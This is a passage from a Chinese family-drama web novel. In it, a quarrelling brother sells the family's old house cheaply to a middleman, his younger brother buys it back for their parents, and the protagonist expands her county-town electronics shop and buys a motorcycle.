叶峰也悄悄给他媳妇儿发了短信,让她不用来了。 酒过三巡,叶峰趁机问:“我刚才听你说,这事办成后,你很快就能凑够买房的钱,这是怎么个事?能拿到你现在给人当中介,介绍工作拿提成?” “那倒不是,”韦安民有点醉了,但也记得事情还没办成,可不能先把宁绍明给卖了,“宁绍德你应该也认识吧?” 叶峰点头:“宁老三他二哥嘛,当然认识,我还知道宁老三他二哥二嫂都是老师,你要介绍的就是他们?” “没错,宁老三他们家去年不是分家了么,他老子把老宅分成两个小院,分别给了老大家和老二家。 我听说宁老二想把他那小院卖了,宁老三好像还不知道这事,我就想着先下手,把那院子买了,等宁老三知道消息,我再加点价,转手卖给他。 宁老三现在可了不得,真是三十年河东三十年河西,他现在也是今非昔比了,镇上开着一家店,县城还开着三家,肯定出得起这个钱!” 叶峰觉得这样风险太大了:“万一宁老三不买,这房子你不是砸在手上了?镇上的房子卖不出多少价钱。” “你没听说宁老三他妈的事?” “什么事?”叶峰还真不知道,他跟韦安民是高中认识的好朋友,但跟宁绍明只是互相认识,知道有这么一个人,没什么交情。 韦安民半真半假地说:“宁老三他妈老年痴呆了,根本离不开人,现在主要是他爸照顾着,但他爸也上了年纪,有些事他一个人干不了,得有人搭把手,宁老三和他媳妇儿要顾着县城的生意,又不常在镇上,老人有事只能找他大嫂,要是搬走的话,离老大家就远了,不方便,而且老人住那院子住了一辈子,也不愿意搬。” “那宁老二还卖房?他继续给老人住不就得了。”叶峰不解。 韦安民早打听过了:“他们两口子也想在县城买房子,钱不够,又跟老人闹了点矛盾,就想把这房子卖了,我去镇上打听的时候,还听说一个事,宁老二夫妻俩本来是想找老两口要房租,没要成,干脆就把房子卖了。” 韦安民也不知道这是不是真的,反正镇上的流言传来传去,他去打听的时候,已经是好好几手的消息,听到的就是这样的。 不过是不是在真的也不影响他什么,不管这个流言是不是真的,宁老二想卖房总是真的。 “啧,这可真是……”叶峰都不知道该说些什么了,心底也把宁绍德夫妻俩划进人品不好的行列。 他本来还想着,如果韦安民介绍来的这两个人确实有能力的话,劝劝他们去考个高中教师资资格证,以后也不是不能长期合作,但现在是真的完全不考虑了。 叶峰他爸妈供他读完大学后就去世了,没享过什么福,他自家是子欲养而亲不待,所以他最讨厌不孝顺的人。 韦安民了解他,继续说道:“宁老三跟他二哥不一样,他这人孝顺,他父母对老宅有感情,不乐意搬走,他肯定得想办法,好歹也是朋友,到时候我也不会狮子大开口,只要凑够我房子首付剩下的钱就行。” 搞定叶峰这边之后,韦安民才跑去找宁绍德谈买房子的事。 宁绍德和叶菁正为房价的事烦恼,看中的那个小区,今年价格涨了点。 在房子涨价后,他们原本设想的,把老家房子卖个一万多,交了首付后,还能剩下一些钱装修买家具家电的想法,没法实现了。 不过刚开始要卖老家房子的时候,宁绍德发现自己老家那院子,在镇上竟然非常受欢迎。 现在都流行楼房,虽然镇上建成楼房的还没几个,但很多人已经为了攒建房的钱跑出去打工,他一直以为自己家这种老院子,肯定没以前行情那么好了。 没想到刚放出去消息,就有不少人来问。 这让宁绍德喜不自禁,所以他在报价的时候,仗着自家房子受欢迎,来问的人多,直接报了两万,而且咬死了一分不少。 这样一来,多卖出几千块钱,他的家具家电就有着落了。 结果乐极生悲,一开始人家来问的时候,他的态度太过强硬,人家一有讲价的苗头,他立刻拉下脸来,说话也不好听,把买家得罪了不少。 现在都是问的人多,真正愿意买的人没有一个。 这次终于又有一个以前没来问过的人,来问价格,宁绍德也不敢跟刚开始时那样了。 他的态度软化不少,听到韦安民开价一万一,他也没把人骂走。 只是摇着头说:“这个价格实在太低了,你可以出去打听打听,我老家房子那位置,那边的房子至少也得卖一万五以上,这还是面积比较小的院子的价格。 我那院子面积可不小,而且那个位置,还很少人愿意卖房子,你诚心要的话,可以一万八卖给你。” 韦安民说:“我最多能给你们一万二。” 宁绍德听到这个价格,下意识想瞪眼摆脸色,叶菁急忙扯了他一下,提醒他千万别再跟人家急眼,买卖不成也不能再得罪人了。 “这个价格真不行,要是大桥街还有空余的宅基地,你买宅基地倒是能买到,可现在大桥街也没宅基地卖了,要不我三弟也不至于到别的地方去建房子,你真心想要的话,最少最少得一万七千五。” 韦安民一脸为难:“我是真喜欢那个院子,也真心想买,可兜里实在没那么多钱,要不差的钱,我用别的东西给你们补上?” 宁绍德觉得也不是不行,但得是他需要的东西:“你说的东西,如果是家具家电的话,倒是可以,但得是新的,不能拿二手货糊弄我们。” “不不不,不是家具家电,是一个可以在空闲时间兼职的工作机会,我在市里有个亲戚,开教培机构,你们也是当老师的,应该能打听到,在市里下班后兼职做这个的老师有多挣钱。 如果你们愿意把这房子一万二卖给我,我可以把你们介绍过去做兼职,保准你们一过去,马上就有活干。 在县城愿意给孩子补习的家长少,很多家长都是等孩子初中甚至高中才给孩子报补习班。 你们俩一个只教小学,一个虽然教中学却是教体育的,在县城不一定能竞争得过别人,还得自己找活。 但是市里的学习竞争环境跟县城可不一样,人家小学就开始给孩子补习,你们肯定能胜任。 而且去我亲戚那里,用不着自己找,你们什么时候有空跟我亲戚说一声,我亲戚马上就能给你们安排好。” 韦安民说了一大堆,把宁绍德夫妻俩说得蠢蠢欲动,因为他说的确实没错。 他们夫妻俩之前想把孩子落户在老三户口上的时候,跟老三说他们找到了挣外快的路子,其实只是为了让老三答应才这么说的,其实根本没找到。 只是想先把孩子户口的事先解决了再说,答应的那些事,可以等孩子出生后再想办法,那时也想着,好歹是亲兄弟,现在老三家条件那么好,就算他们暂时欠着应该也没事。 可惜算计到后来全都成了一场空。 只是他们还是很想利用业余时间挣点钱的,不然眼看着同行挣钱,自己却挣不到,那心跟有小刀子在割一样。 韦安民看着他们的神色,又抛出别的诱饵,把叶峰那边老师兼职的时薪说了一下,比县城的高一倍。 听到这个价格,宁绍德夫妻俩是真的没法不心动。 如果真的两个人都拿到这个兼职,在房子上给韦安民少的钱,他们俩一起挣,要不了三个月就能挣回来。 长期做下去的话,攒个一两年的钱,就能把房贷全还完! 过两年他们做熟了,时薪更高,也许还能再买一套房,甚至买一辆小车也说不定! 不过他们也没有马上答应下来,韦安民明白,得先让人家看到实在的东西,人家才愿意松口。 很快他就跟宁绍德和叶菁约好时间,带着他们去了叶峰那里。 确认韦安民说的不是假话后,双方都很满意地完成了房屋的买卖。 韦安民的户口没迁出榕溪镇,是可以买镇上房子和宅基地的。 交易进行得很顺利。 唯一的意外是宁绍德和叶菁特地在把房子卖出去后,才回去通知宁达: “爸,这房子我卖给别人了,你得尽快搬走,给人家腾地方,房间里那些老破旧家具,你们想搬走就搬走,搬不走就给别人留着吧。” 宁达当时就眼前一黑,差点没晕过去:“你说什么?” 宁绍德还记恨他偏心老大、老三和大姐,还有在医院被宁达打的那一耳光。 看到宁达这样子,他心里感觉十分快意。 宁绍德拿出合同,让他看清楚,然后再次重复了一遍刚才的话:“我说,这房子我卖给别人了,你得尽快搬走,给人家腾地方!” 宁达怒吼:“你个败家子!老子跟你妈辛辛苦苦攒下的房子,你说卖就卖了?” 他左右看看,抄起靠在墙边的扫帚,挥过去:“我打死你个败家子!” 宁绍德抢过那扫帚往墙外扔,扔到了隔壁一墙之隔的老大家院子里,在这头偷听的王海燕被吓了一跳,差点叫出声来。 “你老了,还以为自己能在我有防备的时候打得到我?”宁绍德语气中带着得意,“你也别那么生气,当心以后变得跟我妈一样。 这房子给了我就是我的东西,我当然想卖就卖了,人家父母能给钱他们在县城买房,你们既然不能给我支持,那我自己想办法你也别怪我。” 说完他和叶菁就走了,留宁达一屁股坐在凳子上,粗重地喘着气,半晌回不过神来。 隔壁的王海燕听到这边那么大的动静没敢过来,担心宁绍德夫妻俩也记恨她,她一个人可打不过人家夫妻俩。 等到外面响起宁绍德开摩托离开的声音,王海燕才从后面过去,查看宁达的情况。 看到他没被气成婆婆那样,王海燕狠狠松了一口气:“爸,你还好吧?” 她的手在宁达面前晃了好几下,宁达才回过神来:“是老大媳妇儿啊,我没事,你赶紧给老三打电话,让老三晚上回来了,来这边一趟。” 宁绍明接到王海燕的电话,一点也不意外,他早就在韦安民那里得到消息了。 他本来想着等房子过户到自己名下后,再跟父亲说这个事。 只是他没想到,宁绍德竟然会特地回老家,冲着自己亲爹耀武扬威一番,幸好老人没事。 晚上宁绍明回去后,宁达对着他老泪纵横,直喊后悔: “早知道应该把这院子给你才是,当初我跟你妈答应过你岳父岳母,要把这院子给你,结果没给,我看这就是报应!是我们说话不算话的报应!” 宁绍明第一次见他爸哭得那么惨,心里还有些不好意思。 不过让他现在就跟他爸实话实说是不可能的: “爸,你别想那么多,也别难过了,以前的事情已经发生,那就让它过去吧,买那房子的人我认识,改天去我问问他,能不能把那房子再转卖给我。” 宁达听到他的话,高兴了一瞬,又难过起来:“我们这条街上,几十年了,除了你那败家二哥,没见谁家卖过房子,这么好的位置和房子,人家买了还愿意卖?就算愿意也得多花不少钱。” 宁绍明继续安慰老人:“不管人家卖不卖,总得试试,万一人家愿意卖的话,就算要多给人家点钱,我也卖回来,要是不卖,我们至少也试过了,不给自己留遗憾。” 第126章 宁达听完儿子的话,想了想说:“也是,那你去找那个人问问。” 宁达说着,左右看了看,确认除了自己和宁绍明没别人,打开房间的柜子,又打开柜子里的小盒子,小心翼翼地拿出一沓钱来。 压低声音,小声说:“我手上还有七千块钱,这是当初给你们分家后,我跟你妈给自己留的棺材本和我这两年捡破烂卖钱攒的,你拿去……” 其实他和黄秀华的钱早就分开,各管各的。 黄秀华那部分,给了宁绍德三千,她自己也花了一些,已经不剩下多少,这些钱大部分都是宁达自己的。 “爸,你不用给我钱,”宁绍明打断他的话,也没接钱,“这房子我买了也是我放我名下,以后就算是我的房子了,我给自己买房子,哪能用你的钱,你快收回去,我现在不差这一点,真的,快收起来。” 宁达问:“真不用啊?” “真不用。”宁绍明看他没动作,直接帮他把钱塞盒子里,重新重新锁起来了。 见儿子神色认真,宁达也不强求,心想着:既然儿子不要,那就留着以后给小秋和小夏好了,孩子升学爷爷给奖励,他总不能不让孩子收。 宁达把钱收回去:“那你回去跟你媳妇儿好好说,两口子可别吵架。” 要是那个人真愿意把房子卖还给宁绍明,宁绍明一下子花那么多钱,买的还是老房子,他怕儿媳不高兴。 毕竟儿子儿媳在镇上又不是没房子住,这房子买回来,就是给自己老两口住的,他们用不上。 宁达对于房子的想法,跟很多人一样,觉得有房子住就行。 买房子那得是有居住需求,或者生的儿子多,以后要给每个儿子都准备房子,自家的房子和宅基地不够分,才要买。 身边绝大部分人的想法跟他差不多,他下意识就觉得所有人都是这么想的。 所以才觉得,儿子花了原本没必要花的钱,儿媳可能会不高兴,担心他们会因为这事吵架。 宁绍明让他放心:“这事我来的时候她已经知道了,也说能买回来最好。” 宁达感慨:“你媳妇儿是个好的,深明大义。” 同时心里对当初没把这房子给老三夫妻俩的事越发愧疚。 宁绍明也不好解释,只能把话说完就赶紧走了。 过了几天,宁绍明如约带着钱去跟韦安民交易,把房子放在他名下。 赵如月和两个孩子的户口之前已经迁到县城那栋拆迁房上, 只有宁绍明为了镇上的田地和宅基地,没有迁户口。 办理这事的工作人员也是本地人,看到这房子被卖出去,没过几天又被宁家人买回来,也不觉得意外。 只是通过这事,知道了宁家兄弟之间的矛盾还挺深,很快镇上的很多人也都知道了。 有人说宁绍德宁愿把房子便宜卖给外人,也不愿意卖给自家兄弟。 也有人说宁绍明,明明出得起宁绍德最开始时开的价钱,却宁愿把这钱给别人,也不愿意给自己兄弟赚。 不过对于宁绍德卖老宅这事,大家倒是全都有志一同地地认为,宁绍德这事做得太不像话,老家的房子都卖,实在败家,也难怪宁绍明生气,不把钱给他赚,很多老人告诫自己家儿子,不许跟宁绍德学,要不以后他们死了在地下都要托梦来骂人。 宁绍德知道这事的时候,还挺生气,但是转头一想,多卖出几千块钱,只是一次性的买卖,这钱花掉就没了。 赚外快的门路可不一样,那是可以持续进账的,两个一对比,他还是不后悔自己的选择。 而且老三想买的话,只给两万他可不乐意卖,怎么着也得多要点,反正老三做生意有钱,知道老三那么在意老宅,他肯定能多薅老三的钱就多薅点。 然而一个月后,宁绍德和叶菁傻眼了。 起先他们确实在韦安民的介绍下,顺利地拿到了兼职的工作。 每个星期只有星期六星期天去市里给学生上课,就赚到了比工资还要高的收入,两个人加起来有四千多块钱。 可是这一单做完,老板给他们结账后,让他们回去等通知。 他们一直等,等了半个多月,忍不住去问老板的时候,老板却说,有家长发现他们没高中教师资格证,不愿意让他们教,还跟其他家长说了。 现在他们接的那一单活的家长也知道了这事,正在跟他讨说法。 “如果到时候家长不依不饶,我们这边可能还要把钱退回去。” 老板这话可把宁绍德和叶菁吓得不行,好不容易到手的钱,竟然还要吐出来? 他们可不乐意。 在听到老板又说:“现在暂时没法给你们派单,你们继续在家等通知吧,如果这事过去了,你们还能来的话我会通知你,如果家长还是要求退钱,我们会尽量跟家长协商,看看能不能只退一部分,后续的结果我也会电话通知你们,要退款的话,还得你们配合。” 这话一出,宁绍德和叶菁愁得晚上都睡不着,又是担心自己要把钱退回去,又是后悔房子卖便宜了,以后如果不能再接活的话,他们卖房子就亏大了! 后续叶峰给他们打电话,说家长那边想请他们过去协商。 宁绍德满口答应说会过去,结果挂了电话后,只当不知道这事,打算直接把这事赖过去。 反正自从被宁达威胁过要找到他单位去之后,宁绍德就多了个心眼,没给叶峰留自己单位的电话。 叶峰再打电话过去,也没能再联系得上他们。 他最后一次给宁绍德留下的号码打电话的时候,韦安民也在。 挂了电话,叶峰挑了挑眉说:“幸好只是假装家长要退钱骗他们,要是真遇上这种事,只能算我倒霉了。” 不过这次的事也不是对他没好处,要临时找老师的事解决了,他给宁绍德和叶菁的钱,也比他自己找的老师低一些,算是给自己省钱。 而且这个事也提醒了他,以后在这方便加强管理和审核,可不能什么人都招。 韦安民也很满意,买房子花了一万二,宁绍明如约给了他两万,剩下八千块钱。 房子的首付只差五千,多出来的三千,他拿两千给老婆,自己留一千,老婆高兴,他也有钱花了,对他来说,皆大欢喜! 叶峰劝他:“这次你家里的事情解决了,可别再碰什么股票,好好过日子是正经。” 韦安民点头应了,但叶峰也不知道他有没有往心里去。 宁绍明和赵如月这边,比起他把他二哥卖了的老房子又买回来,继续给宁绍明爸妈住着这件事,其他人更关注的,还是他们在县城的那栋拆迁房。 这消息果然没瞒住,叶菁的娘家也在镇上,他们上次跟宁达算是闹翻了,自从那次之后,没再上门探望过黄秀华。 不过回叶菁娘家的次数倒是跟以往一样,每次回来都要帮宁绍明和赵如月大肆宣传一番,他们在县城的房子要拆迁的事,恨不得镇上所有人都知道,然后找他们借钱去,最好借了都不还。 宁绍德冷静下来后倒是想过,如果自己没跟宁绍明闹翻,没准也能在宁绍明那房子拆迁后找他借钱买房。 可他那时候被嫉妒冲昏了头脑,一心只想知道自己能不能有份。 宁绍德心里有点后悔,但现在后悔也没用了,只能自己拿不到,干脆想办法让别人毁掉。 他甚至为那个提供场地聚赌的梁国兵感到可惜,想着如果梁国兵做事谨慎一点,别那么快被抓就好了。 为什么就不能等到老三家拆迁,先引着老三去把钱赌光了,再被抓呢? 不过不管他怎么想,这钱他肯定是沾不上一点了。 赵如月去开了几次会,有时候她自己去,有时候宁绍明也跟着。 在了解到这边被划入工业区,不会原地回迁后,得知了新小区的位置,果断选择了不要房,直接拿钱的方案。 新小区在的那地方现在比较偏,即使以后城市扩张,会慢慢热闹起来,也会有好学校,但那可能要等到十年后! 对于他们来说不适用,现在县城地段最好的房子,房价也才两千出头,他们还不如拿钱,自己去县城现在和以后都是好地段的地方买房子。 在拆迁款下来之前,赵如月给范小蓉打了个电话,跟她说他们家想在羊城买房子的事。 范小蓉立刻表示自己可以帮他们找房子,也可以带他们看房:“我现在到处跑业务,时间自由得很,每天去公司打卡后,就可以自由行动了,姐,你们什么时候过来? 我觉得我家小区附近好几个楼盘都不错,可惜我这个小区多是小户型,目标客户是附近上班的城市单身人群,你们一家四口买了肯定不够住的,要不然我们当邻居多好。” “等我把店里的事情安排好,估计在后天或者大后天就能去。” 赵如月倒是对范小蓉的小区有点心动。 他们在羊城买了房子,以后可能很长时间都不会去住,甚至这辈子去不去住都不知道。 毕竟不是每个人都向往大城市的生活。 她和宁绍明都觉得老家很好,虽然老家有讨厌的人,也会让人心烦。 但总的来说,讨厌的人很少,更多的是跟他们关系很好的人,比如她娘家那边的亲戚、跟她和宁绍明有几十年交情的朋友,甚至店里的熟客们。 他们不是新一代不喜欢走亲戚的年轻人,这些人情往来,对他们来说还是挺重要的。 她和宁绍明的父母也老了,看一眼少一眼,她还是想离父母近点。 以后老了在老家,可能还能跟朋友约着一起聚一聚、一起出去玩,有时候约着一起去菜市场或者早市逛逛她都觉得很开心。 如果到时候她的父母也还没去世,等她家买车了,甚至也可以带他们到周边玩玩。 他们这个年纪,去大城市生活的话,能不能适应先不说,也许很难交到成长经历相似、各种话题都可以聊的朋友了。 更别说他们跟家乡的朋友还有童年、少年、青年时期的那么多共同回忆,等老了之后,凑在一起,单是聊过往的美好回忆都能聊到闭眼前一秒。 既然长时间不住,那还不如买小一点,比较方便出租,可以以租养贷,又跟范小蓉的房子在一个小区,可以请她帮忙管理一下,给些管理费。 如果范小蓉工作忙,没有时间的话,大城市的中介市场也比较完善,还可以托管给中介。 赵如月跟范小蓉聊完后,去跟宁绍明商量。 宁绍明对这事没什么意见,他的想法更简单:“我们本来就是担心以后县城的房子不如大城市的贵,买不上价才打算买的,反正以后可能都要卖掉,小的也许还更容易卖出去些。” 于是这事就这么定下了。 在拆迁款下来之前,赵如月就先安排好自己店里的事,跟夜校班的班主任请了几天假,自己一个人去了羊城一趟。 范小蓉见到她非常高兴,知道赵如月打算把房子买在自己小区更高兴了,只是可惜他们不打算住,还是没能做成邻居。 她小区有现房,赵如月在小区里都看过之后,还是选了范小蓉家所在的那一栋楼,两套朝向光照都不错,楼层也合适的房子。 先付了定金,约定好等端午放假,再过来付首付把各种手续办齐。 拆迁款应该四月底就能到账,不过就算拖延了她也不担心,他们还有店面的收入和存款,完全足够付首付的钱。 看房买房花的时间都没来回在路上花的时间多。 剩下的时间就是就是范小蓉带着她,在羊城到处玩了一圈。 这一趟花了赵如月三天的时间。 从羊城回来的那天,到达县城刚好是上午,赵如月干脆就没回镇上,直接去自己在学校租的宿舍,洗了个澡,就往自家店铺那边去。 到了地方,她先去了餐饮店打算先吃点东西,再去自己店里忙活。 宁绍明听店员说她回来了,过来亲自给她煮东西吃。 这几年,他们还没分开过那么多天,东西做好了他也不走,就坐在赵如月对面,边看她吃东西,边跟她聊天。 聊了一会儿,赵如月听到宁绍明说起一件县城里发生的新鲜事:“县城要建一个新的火车站。” 听到这个消息,赵如月很震惊:“怎么突然要建个新站?” 这是上辈子没有的事! 上辈子县城的火车站一直没变过,后来改成高铁站,也是在旧址上翻新。 宁绍明说:“可能是为了以后县城工业园里的东西,更方便地往外运吧,我听人说是这样的。” 赵如月恍然:“是了,现在县城的工业园没有停工,有些地方建成后,已经开始投入使用了。” 县城新火车站的事,没有多少人关注,只是在一开始知道这事,还觉得这事新奇的时候,稍微关注一下,后来大部分人慢慢就抛到脑后了。 毕竟需要的建造时间不短,很多人甚至可能等新站建成要通车了才知道。 县城跟周边的人们更关注的是县城的工业园,这可关系到不少人的饭碗,能在家门口挣到钱的话,很多人都不想离家太远。 县城工业园的建造资金充足,建造速度很快。 建成的地方就是赵如月和宁绍明那四间店门口,穿过马路,对面的那一块地方。 那里已经有企业入驻了,还设置了一个进出的门,那个门几乎就是正对着他们家的店。 在那边有企业入驻后,他们家店的生意更红火了。 以前很多人还觉得他们买这四间房买亏了,都说要是他们这买四间房的钱,也买到拆迁区的房子。 房子一拆迁,能拿到比现在一栋房子更多的拆迁款。 可是现在别人都不这么想了,反而羡慕起他们这四间房的位置。 拆迁只是一次性拿钱,县城的能拿到的拆迁款也不像大城市那么多。 可她家的这四间房,改成铺面后,现在简直成了四只下金蛋的母鸡。 纪慧萱的照相馆,在生意稳定后,不好意思一直白用他们的地方,也开始交租金了。 虽然赵如月没多收,要的租金比周围面积、位置差不多的店面,租金低了许多,但这也是个稳定的收入,多少她都不嫌少。 她的那间小店生意也越来越好了。 马路对面那些入驻的企业的员工,有手机和小灵通的人可不少。 赵如月现在不但接维修的MP3、MP4的活,她在添加了一些设备后,还开始接维修手机和小灵通的活。 另外还有一些年轻的工人,挣了钱就想买个可以给自己提供娱乐的电子设备。 赵如月以前担心的县城MP3、MP4市场饱和的情况,目测在近几年都不会发生,反而要担心断货的问题。 她也让范小蓉牵线,从羊城那边进了一批手机和小灵通回来卖。 现在她的小店,已经从最初两个双层矮货架拼接成柜台和产品展示台的简陋小店,鸟枪换炮变成了专门的玻璃柜台。 室内的软装也全部换过了,很有点后来电子产品专营店的样子。 店后面那个小房间,原本用来当做给自家人来不及回去时休息的地方,现在也变成了她店里的仓库。 赵如月在餐饮店吃过东西后,回到店里,宁绍明也回到面包店。 赵如月店里的客人不少,苏胜楠和后来新招的营业员看到她,只来得及打个招呼,然后又赶紧继续招待客人。 她自己则走到店里隔出来的维修位,打算把她花了三天去羊城而耽搁的活,抓紧时间做完。 等前面的客人走了,苏胜楠终于空闲下来,打开她那泡了胖大海的保温杯喝了几口,端着保温杯走到赵如月这边。 “师傅,最近很多客人跟我们抱怨,在附近没有可以充话费的地方,问我们这边能不能开一个话费代充的业务,我不知道该怎么办,只能跟他们说,得等你回来再帮他们问问你。” “这个可以办下来,不过到时候你们得分一个人出来,负责这个业务,那样其他人的工作量就会比以前多一些,也会比以前更辛苦一些。” 苏胜楠说:“这个其实没什么,工作量多一点,意味着我们能多挣一点提成,我更担心没人愿意专门负责话费代充的业务。” 赵如月认真想了想,估计还真有可能,因为买东西的提成是她们都了解的,摆在眼前实实在在的好处。 但给人代充话费的提成有多少她们不知道,业务量有多少也不知道,目测也不如卖出去一件商品能拿到的提成多,肯定会犹豫。 赵如月想着,代充话费这个还是要办,以后时机成熟的话,她还能申请成为通讯公司的本地合作营业厅。 但是现在如果特地安排一个人做话费代充,有点浪费了。 赵如月开始想,除了话费代充业务,还有什么可以做的? 她正在想的时候,有个店员在电脑前正在给客人下载歌曲的店员,顺便打开了一个网页。 那店员看了一会儿,有些兴奋地跑过来问:“老板,我有个网上买的东西寄到邮政那边了,我想过去拿一下,很快就回来,可以吗?” 赵如月眼睛一亮:“现在网上能买东西了?” “能呀,我买好多次了,就是寄过来时间有点久,我的包裹寄了六天才到邮局那边,我实在等不及了,但是跟在本地买的价格一对比,省下来的钱,又让我觉得花几天时间等待也很值。” “行,你去吧,路上注意安全。”赵如月想到还可以做什么了。 她在网上搜索了一下网购的步骤,觉得网购代买业务也可以做。 网购需要的U盾,这东西不是每个人都有,很多人觉得自己不经常上网买东西,为了偶尔上网买几次东西,特地去申请一个没必要。 而且网购还需要电脑操作,不像后来,手机点点就行,所以网购代买这个小生意,还是有几年好做的。 还有快递代收业务,这个可能得去跟附近的邮政分局谈一谈。 到时候让他们把填写她店铺地址的包裹都一起送过来,她能挣钱,客人和邮局也能省事。 她家的店开到晚上九点,节假日也开门。 而邮局过了营业时间人家是真下班了,节假日也不开门。 而且她这里,就算下班了,她人在县城的话,客人有急需要取的包裹,也能临时过来帮忙开门取东西。 赵如月把这几样都先记下来,写在自己的记事本上,写完之后,感觉这几个业务的业务量加起来又有点大了。 决定干脆再招一个人,专门负责这些事。 在正式开始做之前,赵如月先去银行,给自己申请了一个U盾,又试着在网上买了点东西。 先实操几次,熟悉一下现在网购的步骤和购物网站。 第127章 赵如月办好U盾后的第二天,在自家那个会网购的店员的帮助下,学习怎么网购。 第一次赵如月先在店员的指点下,尝试用现在的网购方式上网买东西。 第二次她就可以自己来了,尝试过几次之后,她很快对现在的网购流程烂熟于心,并自己写了一个简单易懂的步骤,留着以后给新招来做这个业务的店员当教程看着学。 赵如月在网上给宁绍明买了一些烘焙材料和模具,给女儿买了一个飞机模型,给儿子买了一套书。 最后轮到自己,她思考了半天,感觉自己没什么想要的,好像也什么都不缺,本来不打算给自己买,给家人买就行。 但是这天晚上去夜校班上课的时候,她从店里往学校走,走到半路停下,看了看自己的双脚。 发现她好像又忽视了自己的需求,虽然跟以前比起来,现在的她已经算很好了,但有时候习惯真不是那么容易改的。 明明家里已经有钱买得起代步工具了,哪怕不是四轮的,买两轮的完全没压力,她在县城从店里去上课却一直走路。 当初在镇上的时候,还知道想着买一辆摩托车,只是那时候觉得时机不对,想着明年再买。 现在可不就是那时候想的‘明年’? 是时候该买一辆车了,赵如月脚步一拐,直接往摩托车专卖店走。 平时为了不迟到,她都是提前出门,现在去买一辆车,再开着去学校一点不耽误。 到了车行,赵如月随便选了一家看起来顺眼的就走进去问价格。 碰巧那老板也是去过她家的店,热情地给她介绍了一番,因为也是她家餐饮店和面包店的熟客了,还给了优惠,还有安全帽、雨衣、遮阳帽之类的赠品。 从进店到定下,赵如月花了不到半个小时。 不过要付钱的时候,她打开钱包拿出银行卡,才想起来,现在刷卡支付只有在大城市比较普及,自己老家这小县城绝大部分地方还是以现金支付为主。 老板看她盯着手上的银行卡愣了一下,立刻就明白怎么回事了。 老板立刻把自己的有线POS机拿出来:“赵老板,我看你那卡上有银联的标志,可以用这个机子刷卡消费,这个是我在银行申请的正规机器,你放心刷。” 赵如月笑道:“那可太好了,我还以为我们县城还不能刷卡消费,没想到你这里还挺先进。” 老板苦笑:“可不么,这都是踩坑踩出来的。” 他这里的东西单价高,有些客人日常不放那么多现金在家里,跟赵如月一样,看好东西准备付钱才想起来,自己忘了去取钱。 就跟他抱怨,买个东西还要提前去银行取钱太麻烦,他这里没有POS机,不能刷卡太不方便。 还发生过几次,有几个客人明明在他这里看好了摩托车,但忘了取钱,出去取钱后,就没了影。 后来他在路上看到那几个客人骑着车,打听了才知道,人家半路看到别的店送的东西他们更想要,转头到别的店买去了。 快煮熟的鸭子就这么飞了,老板心痛不已,所以他就赶紧申请了POS机。 早前银行的工作人员给他推荐,跟他说了这机子的种种好处,他还不乐意申请,觉得人家是为了业绩忽悠自己。 结果人教人不会,事教人不想会也得会了。 赵如月刷卡付了钱。 老板看她付钱那么爽快,还热情地帮她往油箱里加了一小瓶油:“别看只这一小瓶,就这么一小瓶也能撑挺久了,不过你要不放心,明天可以再去加点油。” 赵如月很满意:“谢谢啊,我刚好现在就想用。” “你已经会骑了?我还以为得叫宁老板过来帮你骑回去。” 这只是女式摩托,赵如月当然会骑,这辈子没学过,上辈子却没少骑电动车。 现在买的这个摩托车,除了动力系统和启动方式跟电动车有些区别,别的区别也不大,她坐上去手一拧就能骑走。 赵如月想起自己上辈子刚开始学骑电动车的时候,好像也是这样,第一次坐上去手一拧,就这么开走了。 只有掉头练了好几次,才学会不用下车推,坐着开车就能直接掉头。 她本来以为会骑自行车的人都可以做到这样,后来才知道并不是。 现在赵如月能感觉到自己做事时,比以前自信很多,又不由想起女儿说给自己买车,鼓励她开小车的话。 或许她确实也可以去试着考一考驾照? 路上挺空旷,赵如月骑着车,吹着夜风,感觉十分惬意,边开车边在脑子里漫无目的地一通乱想。 开到学校,锁好车,她才突然想起来,买车这事,竟然忘了跟宁绍明说一声。 赵如月倒是不担心宁绍明不赞同自己买,只是觉得自己买的这台女士摩托车,花了八千多点,这个价格几乎相当于镇上大半套房子,也算是给家里添了个大件。 给家里添大件物品,是该给另一半说一声的,毕竟宁绍明有什么事也会跟她商量。 不得不说,一张床睡不出两种人这话,确实有点道理,赵如月发现宁绍明跟自己一样,也完全没想起来,他们家是时候可以买车了这件事。 赵如月赶紧拿出手机给宁绍明打电话。 一般这个时间点,宁绍明很少会接到她的电话,乍然接到电话,还以为出什么事了。 他听正用自己小灵通玩贪吃蛇的女儿说:“爸爸,是妈妈打来的电话。” 立刻放下手头的活,急忙接电话:“喂,媳妇儿有什么事?” 赵如月听出他语气有点着急,忙解释:“没什么大事,就是我买了一个大玩具,忘记提前跟你商量了。” 宁绍明瞬间放松下来:“就这事啊,你喜欢就卖呗,不用跟我商量,对了,你买的什么玩具?” “一辆摩托车!” 宁绍明稍微感觉有点意外,但也没觉得不行:“你会开吗?要不要我明天开始教你?” “我买的女式摩托车,比较轻,以前别人都说会骑自行车就会骑这个,我坐上去一拧油门,果然就顺顺利利地把车开走了。”赵如月说着还有点小得意。 宁绍明更是毫不吝啬地夸道:“看来咱闺女说的没错,她妈妈就是最棒的!不愧是我媳妇儿,真厉害!那我可等着你带我去兜风了!” “好,我今晚骑车载你回去!” 两人说完后挂了电话,宁绍明就喜滋滋地期待起来。 等赵如月下课,宁绍明已经让两个孩子和店里要回镇上的员工一起,提前跟郑秀的车回去了。 他自己在店里等赵如月。 到了以往下课的点,又过十分钟,店门口响起摩托车的声音,接着就是几声喇叭的嘀嘀声。 宁绍明锁好店门,开心地往她那边走去,接过她抛过来的头盔戴上,然后在后座做好。 赵如月被他从后面抱住腰,感觉自己像是被一只熊抱住了似的,手肘往后戳戳他:“你抱松点,要不我感觉像是在背着一头熊。” “哪有那么夸张。”宁绍明不乐意。 赵如月:“你成天揉面,对自己的臂力没点数啊?坐稳了,我要启动了。” “老夫老妻了,开始嫌弃我了是吧?”虽然他嘴上这么说,但还是听赵如月的稍稍松了点,“开吧,已经坐稳了。” 赵如月一拧油门,车子稳稳当当地行驶起来。 车子驶离城区后,周边没了路灯,车灯只能照亮前面那一块地方。 道路两旁陷入沉沉的黑暗,但小摩托车破开微凉的夜风,耳边是春夏之交骤然升温后,早蝉和青蛙的鸣叫,配合着夜色形成特殊的小世界。 他们都不觉得害怕,反而觉得这是难得能享受到的、彻底没有其他人打扰的二人世界。 骑了二十几分钟摩托车,车子开到正在建设的新火车站时,周围有了一些灯光。 因为要修新站,从县城出来的路也被修整得特别好,不像以前那么坑坑洼洼,他们出来的速度比以前做面包车都要快一些,当然现在面包车开出来的速度也比摩托车快。 